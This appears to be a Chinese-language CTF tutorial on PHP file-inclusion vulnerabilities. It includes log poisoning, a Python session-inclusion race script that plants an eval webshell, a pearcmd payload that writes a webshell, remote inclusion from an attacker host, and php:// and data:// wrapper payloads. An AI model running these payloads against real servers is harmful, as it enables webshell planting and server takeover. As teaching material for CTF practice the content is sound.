文件包含
# 文件包含
include
主要用于包含和执行另一个 PHP 文件的代码。include 会将被包含文件的内容插入到调用它的文件中,并在那个位置执行
<?php
include 'header.php';
?>
<h1>欢迎来到我的网站</h1>
<?php
include 'footer.php';
?>
2
3
4
5
6
7
8
9
include('1.txt') 将尝试包含并执行 1.txt 文件中的所有内容。如果 1.txt 中包含的是PHP代码,则该代码将在当前页面被解析为PHP执行。如果文件中包含的是普通文本,那么这段文本将显示到屏幕上,因为 include() 在处理纯文本文件时会直接输出文件内容,不局限于txt文件,图片马,含有php代码的文件理论都可以试试。
文件包含又分为本地包含,远程文件包含(需要在php.ini打开allow_url_include)
- 本地包含可以访问服务器端的文件,例如flag,日志,图片马
- 远程文件包含可以在远程自己的vps写一个php代码的txt文件
# include
include,require等都可以包含文件
include 'filename';
include('filename');
require 'filename';
require('filename');
2
3
4
include是php的语言结构,include()是PHP的函数,都可以包含文件
'filename' 是要包含的文件的路径和名称
# 文件操作函数
常见的文件包含函数如下1 include 2 require 3 include_once 4 require_once 5 highlight_file 6 show_source 7 file 8 readfile 9 file_get_contents 10 file_put_contents 11 fopen 将一个文件的内容包含到另一个文件 ,在文件包含时可以搭配使用php伪协议打一套组合拳
# 本地文件包含
# 日志包含
本地文件包含常配合文件上传,图片马,日志包含等进行利用,文件上传
在这里省略,讲一下日志包含
访问日志(access.log):
Nginx
默认的日志文件目录通常位于/var/log/nginx/access.log
Apache
- 对于Ubuntu/Debian系统,通常位于/var/log/apache2/access.log
- 对于CentOS/RHEL系统,通常位于/var/log/httpd/access_log
在f12浏览器调试下,可以看到服务器类型,ctfshow中靶机是nginx
nginx日志文件目录/var/log/nginx/access.log,对于当前网页的相对路径不确定,用../试试,../../../三级时可以访问到日志文件,使用post在报文的UA值中写入一句话木马,或phpinfo函数,试试看能否写入日志文件
# session包含
session是网站web的一个无后缀文件,当开启session时,服务器会在临时目录下创建session文件来保存会话信息,文件名格式为sess_PHPSESSID。一般的linux会将session保存在其中的某一个目录下:
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
2
3
4
一般在/tmp目录下
用户可以自定义创建session,实现session文件包含----条件竞争脚本
import io
import requests
import threading
url = '替换url'
sessionid = 'hacker'
def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url,
cookies = {'PHPSESSID':sessionid},
data = {'PHP_SESSION_UPLOAD_PROGRESS':"<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>"},
files={'file':('1.jpg',fileBytes)}
)
def read(session):
while True:
session.get(url+'?file=/tmp/sess_'+sessionid) # 进行文件包含
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
return ;
evnet=threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target = write,args = (session,)).start()
for i in range(5):
threading.Thread(target = read,args = (session,)).start()
evnet.set()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# pear文件包含
引入P牛师傅原话
提示
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。
原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事
先包含pear
文件,利用php的命令行参数config-create
写文件,所以payload:
payload里存在&
,+
等特殊字符,直接使用hackbar发包会被编码失去原意,导致执行失败,所以要使用bp发包
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=highlight_file(__FILE__);eval($_POST[1]);?>+/tmp/11
再包含目录文件/tmp/11
,完成利用
# 远程文件包含
在php.ini配置文件中打开allow_url_include时,可以将远程恶意文件包含在服务器端执行
例如
漏洞代码
<?php
$url=$_GET['url'];
include$url;
?>
2
3
4
测试文件
<?php
phpinfo();
?>
2
3
当攻击者在http://a.com/1.txt写入php代码时,使用GET传参控制?url=http://a.com/1.txt,那么服务器端将执行1.txt中的php代码
# PHP伪协议
# 常用php伪协议
PHP 伪协议是一种特殊的 PHP 特性,允许在 PHP 中通过类似 URL 的方式来访问各种资源,如文件、数据流等
- file://: 允许 PHP 访问本地文件系统中的文件
- http:// 或 https://: 允许 PHP 通过 HTTP 或 HTTPS 协议访问远程服务器上的资源
- ftp://: 允许 PHP 通过 FTP 协议访问远程 FTP 服务器上的文件。
- php://: 提供了访问各种输入输出流的方式
- data://: 允许在 PHP 中直接使用数据 URI,将数据嵌入到 URL 中
# php://filter/
payload1:url?c=include$_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php
# 拆分理解
php://filter作用将数据,文件内容封装起来
convert数据编码转换器,不进行编码的话,flag.php会作为php文件运行,无法看到文件内容
base64-encode使用base64的编码格式打印出来
highlight_file($_GET['cmd']),也可以利用伪协议读文件
根据这张图,还可以再延申出几种方式
一些编码格式
- php://filter/convert.base64-encode/resource=1.php
- php://filter/string.rot13/resource=1.php
- php://filter//convert.iconv.SJIS*.UCS-4*/resource=1.php
# data://
注意:data:text/plain,php://input等伪协议需要在php.ini配置文件中打开allow_url_fopen,allow_url_include这两项
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data:text/plain流中如果有PHP代码,将会被当作php正常执行。
两种形式
data://text/plain在 PHP 中可用于打开文本数据流,而data:text/plain则是在 URL 中表示纯文本数据的 MIME 类型。
可以直接逗号,加php代码,也可以分号;base64编码混淆一下
用法:
url?c=include$_GET[1];&1=data:text/plain,<?php phpinfo();?>
url?c=include$_GET[1];&1=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
2
# php://input
可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行
payload3:url?c=include$_GET[1];&1=php://input
POST:
echo'hello';